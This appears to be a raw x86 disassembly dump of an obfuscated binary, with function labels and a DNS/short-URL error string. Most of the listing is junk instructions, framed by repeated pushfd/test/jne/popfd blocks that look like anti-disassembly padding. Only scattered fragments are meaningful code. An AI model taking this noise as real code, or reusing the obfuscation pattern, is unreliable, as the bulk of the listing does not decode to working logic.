call fcn.10049c0c
push 0x40
lea eax, [ebp - 0x90]
pushfd
test byte [0x1008b027], 0x78
jne 0x1008b028
in al, dx
sti
jmp [edx + 0x40]
pop es
or byte [ecx + 0x1667d879], 0x5c
mov esi, 0x729a0461
pop ebx
ficom dword [ecx - 0x38]
je 0x1008af72
push esi
test al, 0x56
jl 0x1008afb6
dec esp
push esp
pop eax
mov eax, dword [0xcb3da6fa]
mov al, 0xfe
in eax, 0xe9
and eax, 0x9af70667
add dword [edx], edx
lodsd eax, dword [esi]
sbb ah, 0x45
invalid
lcall 0x45dc, 0x80ad1201
into
add al, 0xf9
adc esp, dword [esi + 0x73]
inc ecx
cmp dword [ecx + eax*8], ebp
aaa
cmpsd dword [esi], dword es:[edi]
pop ss
fcmove st(0), st(3)
stosd dword es:[edi], eax
lodsb al, byte [esi]
inc ebx
in al, dx
call dword [eax - 0x65]
xor al, 0x21
or dh, byte [0x8e8f8515]
and byte [edi - 0x73], al
mov eax, 0x1c875a2c
cmp dword [ebx - 0x3c], ebp
fsubr dword [ecx + ecx + 0x70162b9]
and esi, ebp
cwde
lodsd eax, dword [esi]
pop ebp
pop ebx
salc
sub al, 0xea
scasd eax, dword es:[edi]
mul dword [ebp + 0x23]
in al, dx
out 9, al
inc esi
or dword [eax - 0x17976af3], esi
sahf
xchg esi, eax
bound ecx, qword [ebp - 0x61]
or dword [esi + 9], eax
mov al, 0xd
xchg ebp, eax
push 0x62969ee8
dec ebp
lahf
cmp dl, byte [ecx]
mov dword [0xf8a43201], eax
jns 0x1008afaf
mov edi, ebx
pop ecx
imul dword [esi + 0x22a21dcc]
pushal
adc dword [edx], esi
je 0x1008afad
test eax, 0xe7edcf52
mov fs, word [ecx]
popfd
push edi
pushfd
test byte [0x1008b0e3], 0xea
jne 0x1008b0e4
mov es, word [ebp - 0x53]
or bl, byte [esi]
cmp ch, byte [ebp - 0x70eb6436]
push ecx
pop esp
mov eax, dword [0xbaebf589]
xor esi, dword [eax + 0x2ef8ab5a]
js 0x1008affc
fmul st(3)
pop esi
scasd eax, dword es:[edi]
inc esi
enter 0x2e60, 0x63
stc
pushal
arpl cx, di
push ebx
inc edi
adc al, 0x4f
mov ecx, 0x573188a0
xchg ebx, eax
pushfd
cmpsb byte [esi], byte es:[edi]
test dword [ebp + 0x73], 0xfcdc8139
push eax
insd dword es:[edi], dx
ror byte [ebx + ebp*8], 0x23
jg 0x1008b0f7
inc ebp
xchg si, ax
mov ah, 0x77
xor dword [ebp - 0x3e], edi
das
inc esi
std
inc edi
and dword [ebx], 0xf6ae4fbf
xor esi, dword [edx - 0x76]
cmp eax, 0x637354d9
cmc
inc esp
jnp 0x1008b058
ror byte [edx - 0x1d6dc309], cl
popal
xchg ebx, eax
fdivr st(6), st(0)
fisttp dword [ecx - 0x1f]
loop 0x1008b096
ficom dword [ebx]
xchg ebx, eax
sub ebx, esp
inc edi
out dx, al
sahf
push es
stosb byte es:[edi], al
mov bh, 0x14
xor edi, dword [esp + esi*8 - 0x5e5d098]
das
sbb bh, dl
mov es, word [ecx + esi*4 - 0x7a1dd8d7]
aaa
fucomi st(6)
mov ebx, 0xe8888b4b
jae 0x1008b140
call 0x315e2442
loop 0x1008b0b9
push ebp
and edx, esp
call 0x4c5a1bca
mov eax, dword [0x5f7dab1f]
cmc
push 0x51
cmp al, 0xa1
pop ds
stosd dword es:[edi], eax
jge 0x1008b139
js 0x1008b0f9
xor eax, 0x87c8d3aa
stc
scasd eax, dword es:[edi]
das
popfd
push eax
call fcn.1011df60
or dword [eax], eax
push 0x40
lea eax, [ebp - 0xd0]
push edi
push eax
call fcn.1011df60
or dword cs:[eax], eax
add byte [ebp - 0x3b7cdf82], cl
xor al, 0x80
aas
add byte [edi], cl
test byte [esi - 0x72ffffff], bl
test dword [eax - 1], esi
invalid
lea edi, [esi + 0x20]
add esp, 0x34
cmp byte [edi], 0
je 0x1008b2a7
lea eax, [ebp - 0x90]
push eax
pushfd
test byte [0x1008b14f], 0x3e
jne 0x1008b150
pushal
pop edx
push esp
test byte [eax], dh
in eax, 0x7c
jg 0x1008b15d
sub eax, 0xde19335c
mov ebp, 0x86356e9b
sub eax, 0x7b85ddca
mov es, edi
cmp eax, 0xaee8cea0
aaa
jg 0x1008b0e9
jb 0x1008b0ca
imul edx, dword [ecx + 0x75], 0x5f
jne 0x1008b1a1
mov esp, 0xdb40793b
out dx, al
ja 0x1008b198
or dword [esi + ecx*2], esi
ficom word [edx + 0x47]
popfd
push edi
call fcn.10047dd1
pop ecx
pop ecx
pushfd
test byte [0x1008b19a], 0x11
mov cl, 8
adc byte [ecx], dl
je 0x1008b19b
out 0xb8, eax
pushfd
pushal
mov al, 4
xor dword [eax + 0x72], eax
push ecx
mov ah, 0xff
or byte [esi - 0x17], al
lahf
fidivr dword [edi - 0x3c]
inc edx
push ebx
in eax, dx
pop es
insd dword es:[edi], dx
in al, 0xe2
xchg ebp, eax
push ecx
sub dword [edx], eax
inc esi
inc esi
dec edx
or eax, 0xc8a94adf
and esi, edx
lds ebp, [eax]
idiv byte [edi]
aas
xchg esp, eax
dec ebp
sub al, 0xad
inc ebp
sbb dword [edi], 0xc29d8444
test byte [ebp - 0x3f7a623e], bl
popfd
test eax, eax
jne 0x1008b2a7
add dword [eax], eax
add byte [edi + 0x68], dl
pop esp
jbe 0x1008b1bd
push edi
push str.pshortURLInfo__ShortDnsBack__s_Invalid
adc byte [edx], ch
push 0
pushfd
test byte [0x1008b296], 0x4d
jne 0x1008b297
shr dword [ecx + 0x34], cl
fnstsw word cs:[ebx + 0xa64c5a6]
inc ecx
in al, dx
js 0x1008b22c
int1
push ebx
mov esi, 0x23a5274e
sub ebp, edx
aad 0x81
xchg dl, cl
inc ebp
arpl cx, bx
jle 0x1008b18f
xchg edi, eax
mov ah, 0x54
inc edx
push edi
push 0xffffffffffffffd4
pop edx
push ebp
xor al, 0xff
add byte [ecx + 0x38], cl
sbb eax, edi
adc edi, edx
and esp, dword [esi + 0x27475a49]
inc edx
test dword [ecx - 0x57b852d0], ebx
mov edx, 0x351dc941
std
fisub word [ebx + 0x5d399688]
out 0xe2, eax
rcr edi, 1
mov dword [eax - 0x2b1d195d], eax
mov word [ebp + edi*2 + 0x22e47c4f], ds
mov bh, 0xe0
bound esp, qword [0xe9acb652]
fisttp dword [ebx - 0x2c]
fdivr qword [ecx + 0x151fbc34]
movsb byte es:[edi], byte [esi]
sub ecx, ebp
lodsb al, byte [esi]
jmp 0xecdcfdff
or byte [ebp + 0x76899962], dh
pop ebp
inc ebx
push edx
mov dword [0x9c6a99d], eax
and ebx, ebp
aad 0x7c
daa
adc ecx, dword [ebx - 0x2d]
sub eax, 0xefa838a0
test eax, 0x4ecfed9e
mov esi, 0xd798f85b
xlatb
pop ds
jo 0x1008b266
scasb al, byte es:[edi]
xor eax, 0xecf0cc25
pop eax
xchg edi, eax
pop es
div dl
push 0xffffffffffffff83
sal byte [edi + ebx*8], 1
fld dword [esi + 0x78]
mov dh, 0x1a
or eax, 0x7ade0f72
js 0x1008b21e
sbb cl, byte [0x7ade0f72]
pushal
push es
adc al, 0xc8
or byte [edi + 4], bl
push cs
cmc
inc esp
sub ebp, ecx
jge 0x1008b250
sal dword [edx], 1
dec ecx
push ss
fimul dword [eax + 0x53]
dec edx
dec edx
and byte [edi - 0x3b3d96f9], ah
sbb byte [0x5e635254], cl
push edx
jns 0x1008b2dd
inc ebp
pop edi
std
popfd
push 0
call fcn.10049c0c
add esp, 0x10
jmp 0x1008a8ee
cmp byte [esi], 0
je 0x1008b3b2
lea eax, [ebp - 0xd0]
push eax
push esi
call fcn.10047dd1
pushfd
test byte [0x1008b2e1], 0x13
jne 0x1008b2e2
div dword [esp + edi + 0x6d]
les ebx, [0xe81f5251]
xor edx, dword [ebx + 0x19]
pop ss
pop ss
in eax, dx
mov ebp, 0x6f2ee6b2
or dl, byte [ebp - 0x44]
insd dword es:[edi], dx
inc ecx
inc ecx
push ebp
mov esp, 0x9d41416d
popfd
pop ecx
pop ecx
test eax, eax
jne 0x1008b3b2
push esi
push str.pshortURLInfo__ShortDns__s_Invalid
jmp 0x1008b1aa
lea eax, [ebp - 0x173c]
push eax
call fcn.10122168
pop ecx
pushfd
test byte [0x1008b412], 0x1d
jne 0x1008b413
cmp byte [edi + 0x7280fabd], ah
rcl ch, 1
cmc
xchg edi, eax
int3
cmp byte [edi - 0x58], dl
insd dword es:[edi], dx
xor eax, 0x69984429
popfd
push 9
pushfd
test byte [0x1008b485], 0x2e
jne 0x1008b486
sub bl, 0x69
rol dword [eax], 1
sub ebp, esp
xchg ebx, eax
dec byte [ebp + 6]
stosd dword es:[di], eax
aad 0xfb
leave
mov ss, edx
into
lodsb al, byte [esi]
stosd dword es:[edi], eax
and ebx, dword [edx - 4]
sbb al, 0xa
js 0x1008b40a
and byte [ebx + ebp], dl
push edi
push ebx
in al, dx
adc dword [esp + ebp - 0x244baa2e], esi
push ds
mov bl, 0xdb
pop ebx
fisub dword [edi - 0x54]
in al, 0x42
rcr byte [0x467c1ecc], 1
stosb byte es:[edi], al
pop edx
pushal
adc eax, 0xa7b8d1fa
into
mov cl, 0xe2
arpl word [esi], sp
mov dh, bh
in al, 0xce
mov dl, 0xf
adc al, 0xf1
or dword [ebx - 0x30117b81], ebx
push ss
into
mov edx, 0x9af196a
sbb byte [eax + 0x6e], bh
inc ebx
stosb byte es:[edi], al
mov esi, 0xb4af6301
xlatb
popfd
mov esi, eax
mov eax, dword [ebp - 0x654]
pop ecx
pushfd
test byte [0x1008b4df], 0xb0
jne 0x1008b5e0
invalid
add eax, 0x1008b4df
mov al, 0xf
test dword [edx + 1], eax
add byte [eax], al
inc eax
fistp dword [esi - 0x4157970e]
test byte [ecx - 0x826fc51], dh
cld
mov ebx, 0xcf1f20ec
or eax, 0xf468d0b4
fst st(7)
push eax
jle 0x1008b4fb
inc ecx
scasb al, byte es:[edi]
and cl, byte [edx + 0x43]
popal
cmp al, 0x31
loop 0x1008b4b1
inc ecx
push eax
cmpsd dword [esi], dword es:[edi]
pop es
out dx, eax
fadd dword [ebx + 0x30295db7]
xor al, 0xe7
out 0x78, al
fiadd dword [esp + edx*2]
and esp, dword [edi]
push ss
bound edi, qword [eax + 0x58]
mov edx, ebp
jne 0x1008b4c6
leave
xchg ebx, eax
sub al, 0x38
xchg edi, eax
ja 0x1008b48d
mov al, byte [0x499eb329]
jb 0x1008b492
mov edx, 0x4684af4f
mov esi, 0x40350708
xchg esi, eax
cdq
mov dword [0x34da8899], eax
xor dword [edx], edi
adc al, 0x61
push ss
jg 0x1008b54f
mov esp, 0xc3a77593
int3
inc ebx
cmp dh, byte [eax + 0x5f]
not dword [edi + 0x14]
jecxz 0x1008b563
and dword [edx + 0x74b776c3], edx
mov al, byte [0x1508d72f]
pushfd
sub eax, 0x63a41d4
xlatb
or byte [0x41d42d9c], dl
cmp al, byte [esi]
daa
mov dword [edx - 0x64], esp
mov eax, dword [edx + 0x301a0a00]
dec edi
xchg esi, eax
cli
les edi, [eax + 0x9e68b88]
mov edi, 0x53e8df9
mov bl, 0x13
sub bh, 0x7e
test dword [ebp + 0x264c6403], edi
mov al, 0x20
dec ecx
int1
xlatb
and eax, 0xa7331f6d
fincstp
clc
xchg edx, eax
imul esi, dword [esi - 0x3a], 0x2ced9a28
lodsb al, byte [esi]
and dl, bl
add al, ah
rcl eax, cl
push edi
mov dl, dl
add bl, 0x4d
shl byte [ebp - 0x3eda3b80], cl
and byte [ecx], ah
nop
inc edi
mov dh, 0x66
mov edx, 0xef8a1a51
push 0xffffffffffffff90
jns 0x1008b53d
stc
pushal
and al, 0xc1
mov esp, 0xb7b7ca18
cmp dword [edx], 0xf82dcaba
test byte fs:[edi], al
lds edi, [ebx - 0x6aacaad2]
scasb al, byte es:[edi]
fst qword [eax - 0x4b]
push ds
in al, dx
add edi, eax
xchg dword [edi - 0x56d73f15], ecx
jbe 0x1008b61f
jb 0x1008b599
popfd
popfd
lea edi, [ebp - 0x1788]
rep movsd dword es:[edi], dword [esi]
cmp dword [ebp - 0x1774], eax
jl 0x1008b810
jne 0x1008e93f
mov eax, dword [ebp - 0x658]
cmp dword [ebp - 0x1778], eax
jl 0x1008b810
pushfd
test byte [0x1008b6c3], 0x64
jne 0x1008b6c4
cmp byte [esi + 0xf8cddcf], al
mov word [edi], cs
and ch, byte [ecx - 0x636595c7]
lodsd eax, dword [esi]
pop ebp
inc ebp
cmp dword [ebx + 0x49], 0xffffffe4
push cs
cmp eax, 0x350e001b
shr byte [edi + 0x6d], cl
xor eax, dword [0xd9ce7647]
cld
mov edi, 0x7339e021
and eax, 0xefae6ccb
sub al, 0xc9
rol dword [ebx + 0x4c0a71ae], cl
or eax, 0xc6244e56
or byte [eax + 0x77], bl
dec eax
sub dword [ebp + 0x52], ebx
push edx
stc
inc edx
aad 0x4a
xor byte [eax - 0x2b], cl
popal
jb 0x1008b6bc
inc esi
adc esp, dword [esi + 0x56bce5c5]
push esi
mov al, 0x4b
jge 0x1008b6bc
sti
in al, 0x5c
rcl byte [ebx - 0x27]
pop ebp
pop esi
sbb al, 0x88
aam 0x69
test al, 0x19
lodsb al, byte [esi]
add ah, byte [ecx - 0x2f]
adc eax, 0xb11c8159
scasd eax, dword es:[edi]
jo 0x1008b6d6
adc al, 0xb1
test eax, 0xc7630a99
mov al, byte [0x2914d3a7]
inc edx
adc dword [ecx + 0x29b7e2f3], ebp
push esp
lea ecx, [ebx - 0x43330735]
jecxz 0x1008b6eb
out 2, al
pop edx
or al, 0xce
add al, 0x9c
out dx, al
mov ebp, dword [edi]
out dx, eax
pop edi
sub byte [eax + 0x4a71c9c4], 0x49
leave
jno 0x1008b709
dec ecx
arpl word [esi - 0x7b], dx
push edx
popfd
jne 0x1008e93f
pushfd
test byte [0x1008b6fc], 0xc5
je 0x1008b7fd
add dword [eax], eax
add byte [edx], ah
mov edi, 0x457ff272
and bh, byte [edi + 0x457ff272]
cmpsd dword [esi], dword es:[edi]
stc
sub dword [eax + 0x4a], 0xfffffff7
xchg ecx, eax
das
dec edx
out 0xb4, al
push 0xffffffffffffffde
and byte [esi + ebp*4], 0x85
nop
fiadd word [eax - 0x6f7a51dc]
mov dl, 0x32
enter 0x52fc, 0xffffffffffffffd5
pushal
movsd dword es:[edi], dword [esi]
add ecx, dword [bp + si]
xchg ecx, eax
fisub word [esi + 0x7b]
test dword [edx - 0x36], edx
cmp dword [ebp - 0x43], 0xee554d7a
push ebp
out dx, al
sahf
jg 0x1008b70a
into
or dword [ebx], 0xffffffc3
sti
sub al, 0xfa
push 0xffffffffffffffac
cmpsb byte [esi], byte es:[edi]
mov ss, word [eax - 0x32]
cmp ch, byte [ebp - 0x19b6ed15]
sub esi, dword [ebx + 0x3ec4ae0f]
daa
cmp ch, bh
cmp al, 0xf5
insd dword es:[edi], dx
lea edx, [edx]
xchg edx, eax
push ebp
jmp 0x1008b731
cmp eax, ecx
and al, 0xf4
xchg byte [esi + 0x2c], al
dec edi
sub al, 0x4f
cmp eax, dword [edi + 0x1b]
test byte [edx + 0x7a], al
outsb dx, byte [esi]
adc edi, ebp
int1
lea edi, [edx + 8]
punpckhbw mm1, qword [eax - 0x5f]
clc
in al, 0xae
daa
fiadd word [esi + 0x2d]
lodsb al, byte [esi]
mov ecx, 0xce41f978
js 0x1008b74e
inc ecx
into
xchg dword [ebx - 0x60e51ee7], ecx
out dx, eax
inc ebx
pop ebx
jl 0x1008b71d
rcl byte [edi + 0x72b76485], cl
jb 0x1008b768
dec dword [edi - 0x4a353c4]
push cs
push ds
cli
and al, 0x89
dec edx
into
xor ecx, dword fs:[eax + ebp*2]
lahf
sbb ecx, dword gs:[esi + 0x1e]
xor ebp, dword [ebp - 0x4e3dca05]
in al, 0x18
dec esp
pushfd
fistp word [edi]
sbb dword [ebx - 0x12], edx
or eax, 0x2570930a
cmpsd dword [esi], dword es:[edi]
std
int 0x1a
rcr dword [eax + esi + 0x7c642f9a], 0x7d
invalid
jl 0x1008b81b
adc eax, 0x868b221c
inc edx
popal
js 0x1008b804
xchg ecx, eax
jae 0x1008b737
add al, 0x50
push eax
in eax, dx
inc eax
fstp qword [esi + 0x562debd1]
jl 0x1008b753
jle 0x1008b767
rol bl, cl
cmpsd dword [esi], dword es:[edi]
pop eax
xchg ebp, eax
inc ecx
push ebp
shr byte [esi - 0x20], 0x72
cmp eax, 0x1e978915
mov ah, 0x8d
std
jo 0x1008b7f4
dec ecx
test dword [esi + edi*4], 0x163f2b7
jg 0x1008b84b
clc
xchg dl, cl
cli
shl dword [edx], 0x36
mov esi, 0x1368df88
add eax, 0xcec6669f
fmul st(4)
push esp
jg 0x1008b79c
mov esi, 0xe9b9cd82
jle 0x1008b841
dec esp
mov dh, 0x1f
into
mov esi, 0x585053dd
pop eax
popfd
mov eax, dword [ebp - 0x177c]
cmp eax, dword [ebp - 0x65c]
jg 0x1008e93f
test dword [ecx + edi*8 - 0x70f00001], esp
das
xor dword [eax], eax
add byte [ebx - 0x173f5b], al
inc dword [eax]
and dword [ebp - 0x1740], 0
add byte [ebx], dh
call [esi + esi*8 + 0x8b8ae05]
adc byte [eax], ah
xor edi, edi
pushfd
test byte [0x1008b8ae], 0x20
add eax, 0x1008b8ae
and byte [edi], cl
test dword [eax + 0x7e000000], ecx
pop ebx
jne 0x1008b8af
jle 0x1008b884
xor al, 0x37
aad 0xff
out dx, eax
sal byte [esi], 1
mov ebp, 0x419e5b78
mov ebx, 0xc8b14313
mov edi, 0x10f9aed1
sub eax, 0xcb362948
scasb al, byte es:[edi]
rol byte [ebp - 0x39434145], 1
sub dword [esi], esi
retf
and al, 0xc2
mov ch, 0xd0
dec ecx
arpl word [esi], cx
jns 0x1008b7e4
int 0xcb
js 0x1008b7fc
or al, 0xf5
mov eax, dword [0x182ac9bf]
pop eax
sub byte [ecx + 0x187909d4], dh
dec esi
sub byte [ecx - 0x56], dh
sbb byte [esi + 0x28], cl
jno 0x1008b816
lodsd eax, dword [esi]
cwde
xchg edx, eax
push edx
mov eax, dword [edx + edx*2 + 0x3335f678]
dec eax
pop ebx
add byte [eax - 0x6b], bh
leave
sti
jb 0x1008b8eb
inc esi
aam 0x22
jge 0x1008b805
add byte [ecx + edx*8], 0x79
xor eax, dword [eax - 0x23]
xor ebp, dword [edx + 1]
add al, 0xd1
jns 0x1008b8bc
inc eax
fnsave dword [ebx]
push 1
mov ebp, 0x74f4606d
cmc
inc eax
sbb bh, byte [edx + 0x793bad44]
pop esi
jns 0x1008b8fb
xchg ebp, eax
jbe 0x1008b89b
sbb eax, ebx
pop eax
fsub qword [eax]
cmpsd dword [esi], dword es:[edi]
jg 0x1008b867
jl 0x1008b8c3
enter 0xfffffffffffff535, 0xffffffffffffff89
cmpsb byte [esi], byte es:[edi]
popfd
inc edi
cmp dword [ebp - 0x1740], edi
jne 0x1008b8c6
cmp byte [ebp - 0x90], 0
je 0x1008e8aa
invalid
das
add byte [eax], al
and dword [ebp - 0x174c], 0
add ebx, 0x7f8
mov dword [ebp - 0x1748], ebx
pushfd
test byte [0x1008b9c5], 0xf6
call [esi + esi*8 + 0x8b9c505]
adc dh, dh
jne 0x1008b9c6
outsb dx, byte [esi]
jns 0x1008b965
cmp ch, al
stc
push ebx
mov byte [esi], ah
mov dword [0x5eb118cd], eax
push ebp
sbb byte [esi + 0x78], bl
loop 0x1008b93e
invalid
xor al, 0x47
push cs
in eax, 0x15
push ecx
push edi
insb byte es:[edi], dx
sub al, 0x15
push ss
aad 0x1e
aam 0xc0
xchg ebp, eax
popfd
sub eax, eax
fsub qword [ebx - 0x33]
inc esi
sahf
bound esi, qword [esi + 0x40fb0ea3]
movsb byte es:[edi], byte [esi]
in al, 0xf0
dec ebp
sub eax, 0xd79ce12a
das
xlatb
fisttp dword [esi + 0x429bd6fa]
or ebx, ecx
int3
add ah, ah
movsx esp, di
jae 0x1008b8d8
mov edi, 0x3e9373e7
adc al, 0x70
adc al, 0x70
sbb dword [edx + 0x2251c274], esp
lahf
stosd dword es:[edi], eax
sti
inc ebp
cdq
mov ebx, 0xc20ff372
sub bl, byte [ebx + 0x77dc62ce]
xchg byte [edi + eax*4 - 0x4a], ch
pop es
mov esi, 0x1d2506ac
test dword [edx], ebp
mov edx, 0x103b390c
push es
and eax, 0xba2a851d
or al, 0x39
cmp edx, dword [eax]
push 0x19
div dword [ebx + 0x1b]
pop dword [ecx - 0x70]
adc eax, 0xa11cfcb0
cld
sbb al, 0xa1
test byte [ecx + 0x34bfc328], ah
sub al, 0x12
or eax, 0x5fe94f1c
sbb cx, sp
push esp
movsb byte es:[edi], byte [esi]
xchg esp, eax
sahf
xor eax, dword [edi - 0x35e932d2]
les ecx, [eax - 0x65f82305]
push ebx
enter 0xffffffffffffa6d9, 0x4d
xchg ebx, eax
mov bl, bh
fadd qword [edi]
lcall 0x934d, 0xa6d9c853
cli
loop 0x1008b941
stc
test al, 0x48
shr byte [edx - 0x43e2656f], cl
int1
mov ah, 0x41
cli
jge 0x1008b997
ja 0x1008b9d6
scasb al, byte es:[edi]
arpl word [ebx - 0x18ce1a3c], sp
popal
xchg esp, eax
loop 0x1008b979
aam 0xbf
cli
xchg edx, eax
popfd
push dword [ebp - 0x174c]
mov eax, dword [ebp - 0x1778]
push dword [ebp - 0x177c]
and dword [ebp - 0x1734], 0
inc eax
pushfd
test byte [0x1008ba23], 0xe6
jne 0x1008ba24
call 0xb58cb9da
int3
inc edx
fst qword [ebx]
or byte [edx - 0x7c9e7ce1], bh
adc byte [edx - 0x17dbfb3c], dl
mov eax, dword [0xfa7f0b0]
mov eax, 0xc8ef8708
xchg edx, eax
push 0x49
call [ebx]
outsb dx, byte [esi]
fldenv [ebp - 0x67485c9]
arpl word [esi + 0x7b], bp
out 0x39, eax
or ebp, dword [edx]
lahf
out 0x4a, eax
rcl dl, cl
clc
leave
xchg dword [bp + si - 0x1b17], eax
popfd
push eax
mov eax, dword [ebp - 0x1774]
add eax, 0x76c
push eax
lea eax, [ebp - 0x50]
pushfd
test byte [0x1008ba5a], 0x49
jne 0x1008bb5b
add byte [ebx + 0x57ed1f1c], cl
mov ebx, dword [edi + ebx]
in eax, dx
push edi
ja 0x1008b9ff
push 0x9c15b9ed
push ecx
mov bl, 0xdb
je 0x1008baab
sub bh, 0xfe
pop ebx
ror dword [0xc9d1e39b], 1
dec dword [eax]
or edx, dword [esi + 0x6a]
mov dl, ah
cmp esp, dword [eax + 0x7f]
aaa
idiv byte [ebx]
out dx, al
daa
mov eax, dword [0x71b6f622]
test eax, 0x8b75a584
test eax, 0x2928ef53
sar dword [0x9badacd2], 1
sub ch, byte [eax - 0x1e]
pop esp
mov ebp, dword [ebx - 0x613d6a9e]
mov esi, 0xe4eceeb5
pop ecx
xchg dword [edi], edx
or cl, dl
xchg ebp, eax
ret 0xbe9e
jg 0x1008bae4
cmc
push 0xffffffffffffffe5
je 0x1008ba97
mov esp, 0x16f83555
and al, dl
and dl, ch
lodsd eax, dword [esi]
cmp al, 0x94
in eax, dx
test byte [ecx - 0x53daa397], bl
cli
stosd dword es:[edi], eax
js 0x1008ba42
dec esi
aad 0x53
inc ebp
xor byte [edx + eax + 0x5f4ea915], cl
movsd dword es:[edi], dword [esi]
xor ah, cl
inc ecx
in al, dx
in al, 0x32
mov dh, 0x6c
cwde
dec edi
cmpsb byte [esi], byte es:[edi]
test eax, 0xc632a59
aad 0xdc
cwde
scasb al, byte es:[edi]
push esp
mov bl, 0x91
imul edx, dword [ebp - 0x2cf4dc7c], 0x31bb8bfc
dec esp
cmp al, 0xe1
sub esi, dword [esi + edx + 0x2e5e2180]
les ebx, [ebx + ecx*2 + 0x2ff82950]
or eax, 0x432f2a73
or eax, 0xecd8c44c
jg 0x1008ba8a
xchg ebx, eax
adc bl, byte [eax + 0xfdebe60]
mov dword [0xaf883c9d], eax
in eax, dx
mov esp, 0x4149652c
std
pop ss
pop esp
lea ebx, [ebx]
inc edi
call 0x85990dea
out 0xd6, al
adc dword [esi + 0xd97bb7b], edi
insb byte es:[edi], dx
cli
xchg edi, eax
stosd dword es:[edi], eax
mov al, 0x47
xchg esp, eax
inc esi
stosd dword es:[edi], eax
rol dword [eax + 0x5b3c3a76], 1
into
dec eax
mov byte [esi], cl
movsb byte es:[edi], byte [esi]
les esi, [edi + 0xaf95e41]
fimul word [esi]
in al, 0x38
fprem1
lahf
mov word [edi], fs
mov ebp, 0xa559195d
cmp ah, ch
sbb ebp, ebx
inc ebx
push cs
sub eax, 0xafc3f8bf
popfd
push eax
lea eax, [ebp - 0x1d4]
push str._s_d_d_d_d
push eax
call fcn.1011f090
add esp, 0x1c
cmp dword [ebp - 0x1740], 0
lea esi, [ebp - 0xd0]
je 0x1008bca3
lea esi, [ebp - 0x90]
pushfd
test byte [0x1008bba1], 0x2a
jne 0x1008bca2
or dl, byte [ebp - 0x7a582747]
scasd eax, dword es:[edi]
add byte [esp + esi*4 + 0xe], ch
cwde
sbb byte [ecx - 0xdcedd5d], bl
inc esi
cmp eax, 0x12e8fd9a
inc ebp
xor al, 0x9b
std
call 0xab3d00c6
push edx
cmp al, 0x3e
cmpsd dword [esi], dword es:[edi]
aaa
aam 1
cli
bound ebx, qword [esi + 0x29f84631]
mov ebx, 0xd73420e2
rcl byte [eax + edx + 0x2c2454b6], cl
dec edi
xchg ebp, eax
cli
fadd dword [ecx + 0x1835a58d]
push es
sbb byte [esi], al
int 0x21
loop 0x1008bbee
and edx, esp
adc dword [esi + 0x53], ecx
dec esi
push ebx
rol esi, 1
lodsb al, byte [esi]
sbb byte [edi], 0xf8
enter 0xffffffffffffc0f9, 0xffffffffffffffdc
inc edx
cmpsd dword [esi], dword es:[edi]
jno 0x1008bbb7
sbb esp, dword [eax]
push ss
adc al, 0xe3
mov eax, dword [0x61a59154]
xor al, 0xa9
stosd dword es:[edi], eax
popal
cmc
mov dh, 0xa0
aad 0x25
jne 0x1008bc5c
mov eax, dword [esi]
cmp al, 0xcc
jge 0x1008bbae
jecxz 0x1008bc24
jbe 0x1008bc34
pop edi
nop
fisttp qword [edx]
jecxz 0x1008bbda
out 0x7a, al
mov dword [0x15be7ec9], eax
dec ebp
push es
pop ebp
xchg dword [ecx - 0x4f], ecx
int 0xb3
movsd dword es:[edi], dword [esi]
dec edi
mov edi, 0xcabcc094
scasb al, byte es:[edi]
and byte [edi + 0x53], 0x65
mov esp, 0x7424c16e
mov eax, dword [0x39d43e00]
je 0x1008bbd7
add byte [esi], bh
aam 0x39
xor ch, ah
aas
and byte [ebx + 0x20], dl
fimul word [edi + 0x6ec6fb94]
mov eax, ebp
test eax, 0xcad9e1a6
loop 0x1008bbd7
out 0x1c, eax
salc
rol dword [esi], 1
ja 0x1008bbdf
lock sub dword [edi - 0x64], 0xc070f072
jo 0x1008bc1e
and dword [edx - 0x7051049e], edi
add eax, 0x28bcd47b
scasd eax, dword es:[edi]
xor eax, dword [eax + 0x29]
inc ebx
cwde
neg byte [edi + edx*8 + 0x63]
pop esi
dec esi
sbb byte [eax], 0x18
stosd dword es:[edi], eax
pop edx
nop
cmp ecx, ebp
cmp dword [eax + 0x6e], edi
in al, dx
mov ebp, 0x21c6844e
inc edx
or bl, bh
sub esp, dword [ebp - 0x61]
invalid
popfd
lea eax, [ebp - 0x1d4]
pushfd
test byte [0x1008bcbb], 0xc7
jne 0x1008bcbc
cmp esi, ebx
push esi
scasd eax, dword es:[edi]
inc edx
and byte [esi + 0x4f], bl
leave
popfd
push eax
pushfd
test byte [0x1008bd78], 0xec
jne 0x1008bd79
lodsd eax, dword [esi]
add byte [eax], al
add byte [edi + edx*4 - 0x4cd07d8a], bl
cmp ebx, dword [edi]
pushfd
xchg edi, eax
jbe 0x1008bc52
das
mov bl, 0x3b
pop ds
add eax, 0xf5d0fbf1
sub ah, byte [ebx + 0x56]
xchg esi, eax
cmp bh, byte [eax]
sub al, al
cmp al, 0x5c
push ebp
cmp byte [eax], ch
sar byte [esp + ebx*2], 0x55
sub byte [eax - 0x53ff9b9b], ch
ficomp word [edx - 0x7a]
sub edi, ecx
sar dword [ecx + edi*8 + 0x75c9d019], cl
push ecx
xchg edi, eax
adc al, 0xf7
stosb byte es:[edi], al
salc
push 0xffffffffffffffbf
jg 0x1008bcd9
test al, 0x28
aas
pushfd
cmp bh, byte [edx + 0xfcafcb6]
aam 0x4f
pop eax
sti
xor al, 0xf9
stc
or dl, dl
mov byte [esi], ah
and eax, 0xd190feaa
jg 0x1008bd4e
sar byte [esi + 0x4a], 1
out 0x33, al
js 0x1008bcde
sbb eax, 0x6eb84bb3
fidivr word [eax]
sar dword [edi - 0x183394dd], cl
or dword [edi], edx
ja 0x1008bd73
cmpsb byte [esi], byte es:[edi]
jge 0x1008bd5e
sahf
dec ecx
or edx, dword [esi + 0x3728802e]
jae 0x1008bcc8
sbb eax, 0x6930577a
push ecx
dec ebx
lodsb al, byte [esi]
test byte [ecx], dh
test dword [edi - 0x44], ebp
lahf
cmc
bnd jl 0x1008bdc9
mov esp, 0x7cf2f59f
jne 0x1008bdad
pop eax
pop ebp
sbb eax, 0x5c1ca188
pop ecx
adc byte [edx + 0x129ef7b3], al
push ebp
push es
mov bl, 0xf7
sahf
adc dl, byte [ebp + 6]
pop es
in al, dx
dec esp
cli
dec ecx
das
pop es
xchg eax, edi
xor eax, 0x24a1b2c8
sub dword [edx - 0x38a7515f], ebp
sub dword [edx - 0x38a7515f], ebp
popfd
call fcn.100ac8a4
push eax
push esi
lea eax, [ebp - 0x5d4]
push str._s__s
pushfd
test byte [0x1008be63], 0x81
jne 0x1008be64
movsd dword es:[edi], dword [esi]
aam 0x35
push ds
xchg ecx, eax
pushal
pop ecx
push esi
loopne 0x1008bde7
